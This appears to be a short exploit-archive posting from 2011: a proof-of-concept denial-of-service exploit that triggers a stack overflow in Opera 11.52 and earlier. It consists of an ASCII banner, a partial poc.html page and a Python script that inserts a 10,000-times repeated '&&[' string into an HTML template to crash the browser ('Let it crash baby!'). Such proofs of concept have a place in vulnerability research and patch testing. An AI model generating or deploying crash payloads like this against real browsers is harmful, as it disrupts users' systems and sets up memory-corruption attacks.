Opera versions 11.52 and below proof of concept denial of service exploit.
2a6758138a9765d3cc1929bce5ecaa3ec9bfcd4368b4177f67a84d7ea0a2adb9## _ (`-') _ (`-') (`-') _ _ ##
## \-.(OO ) (_) .-> ( OO).-> (OO ).-/ (_) <-. ##
## _.' \ ,-(`-') ,---(`-')/ '._ / ,---. ,-(`-'),--. ) .----. .----. ##
##(_...--'' | ( OO)' .-(OO )|'--...__)| \ /`.\ | ( OO)| (`-')\_,-. |\_.-, | ##
##| |_.' | | | )| | .-, \`--. .--''-'|_.' | | | )| |OO ) .' .' |_ < ##
##| .___.'(| |_/ | | '.(_/ | | (| .-. |(| |_/(| '__ | .' /_ .-. \ | ##
##| | | |'->| '-' | | | | | | | | |'->| |'| |\ `-' / ##
##`--' `--' `-----' `--' `--' `--' `--' `-----' `------' `---'' ##
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October 19, 2011
Opera Denial of Service PoC (Stack Overflow)
Testsystem: WinXP SP3, Win7(64 bit)
Opera version: 11.? <= 11.52
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poc.html:
<html>
<body>
<script type="text/javascript">//<![CDATA[
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//]]></script>
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####################################################################################
Python script 4 debugging (U will need this):
#!/usr/bin/python
content = open('template.html', 'r').read()
filename = 'poc.html'
pattern = 'HelloMrStack!'
buff = '%/' + pattern + '&&[' * 10000
rc = 1041
content2 = content[:rc] + buff + content[rc:]
FILE = open(filename,"w")
FILE.write(content2)
FILE.close()
print "\nLet it crash baby!\n"
####################################################################################
template.html:
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<body>
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//]]></script>
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%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
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